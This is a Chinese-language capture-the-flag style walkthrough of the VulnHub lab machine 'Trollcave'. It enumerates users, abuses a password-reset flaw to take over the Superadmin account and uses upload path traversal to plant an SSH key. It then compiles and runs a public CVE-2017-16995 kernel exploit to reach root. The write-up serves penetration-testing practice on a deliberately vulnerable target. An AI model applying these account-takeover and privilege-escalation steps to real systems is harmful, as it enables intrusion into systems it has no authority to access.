Trollcave
一、环境搭建
靶机地址:https://www.vulnhub.com/entry/trollcave-12,230/
使用virtualbox导入,网络改成桥接模式,然后取消启用USB设备,不要更改原来的系统设置
只需要读取靶机下的root/flag.txt
二、信息收集
主机发现:
1 netdiscover -r 192.168.248.0/24
端口扫描:
1 nmap -sV 192.168.248.155
目录扫描:
1 gobuster dir -u http://192.168.248.155/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
三、漏洞发现
尝试访问 /login
在登陆界面,发现了最新的用户以及在线用户,点击用户可以发现URL中最后多了一个数字,多次尝试发现最新的用户是17,那么可以遍历1~17,得到所有用户的信息
1 King:Superadmin 2 dave:Admin 3 dragon:Admin 4 coderguy:Admin 5 cooldude89:Moderator 6 Sir:Moderator 7 Q:Moderator 8 teflon:Moderator 9 TheDankMan:Regular member 10 artemus:Regular member 11 MrPotatoHead:Regular member 12 Ian:Regular member 13 kev:Member 14 notanother:Member 15 anybodyhome:Member 16 onlyme:Member 17 xer:Member
可以得到有一个Superadmin用户,查看文章
进行翻译可以得知源码为rails,在github进行搜索
四、漏洞利用
查询找到资料https://github.com/rails/rails
安装的时候会创建用户 rails,网站里还有一个重置密码的功能
http://192.168.248.155/password_resets/new
直接选择重置king用户会报错,选择重置xer用户会得到如下链接
http://192.168.248.155/password_resets/edit.L6P6SLUowyqNQ5BgbJnpBQ?name=xer
访问这个链接即可重置xer的密码
但是通过逻辑错误修改链接即可重置King用户的密码
http://192.168.248.155/password_resets/edit.L6P6SLUowyqNQ5BgbJnpBQ?name=King
登录后在file manager上传文件时,发现不能上传,但是在admin panel中可以开启上传
上传php 但是网站不能解释 php 文件,但是发现文件可以上传到其他目录。因此可以试试 rails 用户是否存在如果存在可以上传 authorized_keys 到 rails 用户下的.ssh 就可以免密码登录 ssh
首先生成ssh秘钥
1 ssh-keygen -f rails 2 mv rails.pub authorized_keys
将 authorized_keys 上传到/home/rails/.ssh/,故上传路径为../../../../../../../home/rails/.ssh/authorized_keys
然后进行ssh登录
1 mv rails id_rsa-rails 2 chmod 600 id_rsa-rails 3 ssh -i id_rsa-rails rails@192.168.248.155
查看系统信息
CVE-2017-16995提权
https://www.exploit-db.com/exploits/45010
gcc 进行本地编译
1 gcc cve-2017-16995.c -o cve
kali开启web服务器进行上传
1 python3 -m http.server 80
在靶机上进行下载
然后给于权限并执行文件
1 chmod 777 cve 2 ./cve
已经成功提取到root,获取flag.txt